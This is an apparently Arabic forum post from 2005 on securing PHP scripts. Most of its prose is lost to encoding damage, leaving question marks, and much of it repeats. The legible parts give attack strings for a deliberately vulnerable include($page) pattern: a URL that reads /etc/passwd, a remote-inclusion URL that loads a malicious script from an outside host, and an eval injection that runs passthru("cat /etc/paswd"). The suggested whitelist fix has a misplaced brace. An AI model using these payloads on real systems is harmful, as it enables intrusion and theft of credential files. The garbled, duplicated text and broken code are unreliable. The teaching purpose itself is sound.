????? ????????? ??????? ?? php
مرسل: السبت مايو 28, 2005 2:29 am
????? ??? ?????? ??????? ????? ?? ?????? ??? ??????? ??????? ?????? ???? ?? ?????? ?? ???? ????? ?? ??????? ? ?? ?? ???? ???????? ???? ??? ?????? ????? ????? ?? ????????? ? ??? ??? ?? ??? ?? ?? ????????? ?? ??????? ??? ??? ??? ??????? ? ? ????? ??? ?????? ????? ??????? ????? ??? ?????? ????? ??????? ?????? ????? ??? ?? ?????? ?????? ?? ????? ? ????? ??????? ?????? ?? ??? ?? ?????? ????? ??? ???? ?? ?????? ?????? ??????? ? ????? ???? ????? ???? ???? ???????? ?? ???? ???? ?? ???? ? ?? ????? ??????.
1- ?? ???? ?? ??????? ????? ??? ???? ?? ??? ?????? ??? ??? ?????? ?? ??? ????? (???? ??? ??? ?????? ???????????? ? ?? ????? ??? ??) ? ?? ?? ?????? ????? include , require , ?? ?? ?? ???? ??????? ?????? ????? ??? ??????? ?? ??? ???????? ??? ?????? ?? ??? ????????.
????
??? ??? ?? ??? ?????? ?? ??? ????? $page ? ????? ??? ?? register_globals ?? ??? ??????? ??? ???? ??? ?????? ???????? ????? script.php?page=/etc/passwd
? ????? ??? ??? ??? ????? ?? ?????? ??? ??? ?? ??? ?? ??? ????? ????? ????? ?? ?????? ??? ?? ??? ??? ?? ????? ? ???? ?? ????? ?????? ??? /etc/passwd!!!!!
???? ????? ?? ????? ???? ??? ?? ????? ?? ??? ?? ???? ????????? ???? ?? ??????? ???? ?????? ????? ?? ????? ????.
????
?????? ??? ???????? ????? ?? ???? ??? ????? ??? ??????? ?? SSI ?? ????? ??????? ? ???? ?? ?????? ?? ??? ?????? ???????? ???? ????? ???? ????? ???? ??? ???????.
????
2- ????? ????? ??????? ?? ??? ???????? ?? ?????? eval ???? ??? ????? ???? ???????? ???? ?? ????? ?? ????? ???:
? ??? ????? ????? ??? ????? ????? ??? /etc/passwd.
?? ??????? eval ???? ?????? ?????? ?? ??? ?????? ? ??? ???? ?? ????????? ??? ??????? ? ?? ??? ?????? ?? ??????? (Templates) ????? ?? ?????? ?????? ???????? ???????? ?? ??? ???????? ? ?????? ???? sprintf ????? ????.
1- ?? ???? ?? ??????? ????? ??? ???? ?? ??? ?????? ??? ??? ?????? ?? ??? ????? (???? ??? ??? ?????? ???????????? ? ?? ????? ??? ??) ? ?? ?? ?????? ????? include , require , ?? ?? ?? ???? ??????? ?????? ????? ??? ??????? ?? ??? ???????? ??? ?????? ?? ??? ????????.
????
كود: تحديد الكل
if(isset($page))
{
include($page);
}
??? ??? ?? ??? ?????? ?? ??? ????? $page ? ????? ??? ?? register_globals ?? ??? ??????? ??? ???? ??? ?????? ???????? ????? script.php?page=/etc/passwd
? ????? ??? ??? ??? ????? ?? ?????? ??? ??? ?? ??? ?? ??? ????? ????? ????? ?? ?????? ??? ?? ??? ??? ?? ????? ? ???? ?? ????? ?????? ??? /etc/passwd!!!!!
???? ????? ?? ????? ???? ??? ?? ????? ?? ??? ?? ???? ????????? ???? ?? ??????? ???? ?????? ????? ?? ????? ????.
????
كود: تحديد الكل
script.php?page=http://mysite.com/mal_script.php
?????? ??? ???????? ????? ?? ???? ??? ????? ??? ??????? ?? SSI ?? ????? ??????? ? ???? ?? ?????? ?? ??? ?????? ???????? ???? ????? ???? ????? ???? ??? ???????.
????
كود: تحديد الكل
$pages = array('index.html', 'page2.html', 'page3.html');
if( in_array($page, $pages) )
{
include($page);
{
else
{
die("Foot Bokra");
}
2- ????? ????? ??????? ?? ??? ???????? ?? ?????? eval ???? ??? ????? ???? ???????? ???? ?? ????? ?? ????? ???:
كود: تحديد الكل
script.php?input=;passthru("cat /etc/paswd");
? ??? ????? ????? ??? ????? ????? ??? /etc/passwd.
?? ??????? eval ???? ?????? ?????? ?? ??? ?????? ? ??? ???? ?? ????????? ??? ??????? ? ?? ??? ?????? ?? ??????? (Templates) ????? ?? ?????? ?????? ???????? ???????? ?? ??? ???????? ? ?????? ???? sprintf ????? ????.